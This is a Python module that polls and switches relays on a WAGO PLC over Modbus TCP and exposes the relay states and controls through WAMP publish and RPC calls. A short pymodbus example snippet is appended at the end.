def __init__(self, config=None):
ApplicationSession.__init__(self, config)
self.pfcIp = '192.168.1.52'
self.modbusTcpPort = 502
self.client = ModbusClient(self.pfcIp, self.modbusTcpPort)
#==============================================================================
# Generates a blank Dataset with the current system timestamp
#==============================================================================
def blankDataSetGen(self):
blankDataset = {'K16': None,
'K17': None,
'K18': None,
'K19': None,
'K20': None,
'K21': None,
'TimestampSYS' : round(time.time() * 1000)
}
return blankDataset
def requestLoop(self):
try:
if (self.client.connect() is False):
print('not connected')
self.client = self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
address = 0
timestampSys = round(time.time() * 1000)
result = self.client.read_coils(560, 6)
relayState = {'K16': result.bits[0],
'K17': result.bits[1],
'K18': result.bits[2],
'K19': result.bits[3],
'K20': result.bits[4],
'K21': result.bits[5],
'TimestampSYS' : timestampSys}
self.publish(u'eshl.wago.v1.switch', relayState)
except ConnectionException as connErr:
relayState = self.blankDataSetGen()
self.publish(u'eshl.wago.v1.switch', relayState)
print(str(connErr))
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
@inlineCallbacks
def toggleSwitch(self, id):
try:
if (self.client.connect() is False):
print('not connected')
self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
print("toggleSwitch {}".format(id))
id = int(id)
if (id >= 16 and id <= 21):
id = 32768 + (id - 16)
elif (id == 0):
id = 32768 + 6
else:
return "unknown switch"
self.client.write_coil(id, 1)
yield sleep(0.1)
self.client.write_coil(id, 0)
return "ok"
except ConnectionException as connErr:
return "connection error"
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
return "connection error"
@inlineCallbacks
def switchOn(self, id):
try:
if (self.client.connect() is False):
print('not connected')
self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
print("switchOn {}".format(id))
id = int(id)
state = False
result = self.client.read_coils(560, 6)
if (id >= 16 and id <= 21):
id = (id - 16)
if(result.bits[id] is False):
self.client.write_coil(32768 + id, 1)
yield sleep(0.1)
self.client.write_coil(32768 + id, 0)
elif (id == 0):
for i in range(6):
if(result.bits[i] is False):
self.client.write_coil(32768 + i, 1)
yield sleep(0.1)
for i in range(6):
if(result.bits[i] is False):
self.client.write_coil(32768 + i, 0)
else:
return "unknown switch"
return "ok"
except ConnectionException as connErr:
return "connection error"
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
return "connection error"
@inlineCallbacks
def switchOff(self, id):
try:
if (self.client.connect() is False):
print('not connected')
self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
print("switchOff {}".format(id))
id = int(id)
state = True
result = self.client.read_coils(560, 6)
if (id >= 16 and id <= 21):
id = (id - 16)
if(result.bits[id] is True):
self.client.write_coil(32768 + id, 1)
yield sleep(0.1)
self.client.write_coil(32768 + id, 0)
elif (id == 0):
for i in range(6):
if(result.bits[i] is True):
self.client.write_coil(32768 + i, 1)
yield sleep(0.1)
for i in range(6):
if(result.bits[i] is True):
self.client.write_coil(32768 + i, 0)
else:
return "unknown switch"
return "ok"
except ConnectionException as connErr:
return "connection error"
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
return "connection error"
#==============================================================================
# Ensures that the requestLoop is called exactly once every second, sleeps for the rest of the time
#==============================================================================
def onJoin(self, details):
ApplicationSession.onJoin(self, details)
print("session ready")
self.register(self.toggleSwitch, u'eshl.wago.v1.switch.toggle')
self.register(self.switchOn, u'eshl.wago.v1.switch.on')
self.register(self.switchOff, u'eshl.wago.v1.switch.off')
self._loop = task.LoopingCall(self.requestLoop)
self._requestLoopHandle = self._loop.start(1.0)
def onLeave(self, details):
ApplicationSession.onLeave(self, details)
print("leaving")
if(hasattr(self, "_loop") and self._loop):
self._loop.stop()
from pymodbus.client.sync import ModbusTcpClient
client = ModbusTcpClient('127.0.0.1')
result = client.read_coils(0,1)
print result.bits[0]
client.close()
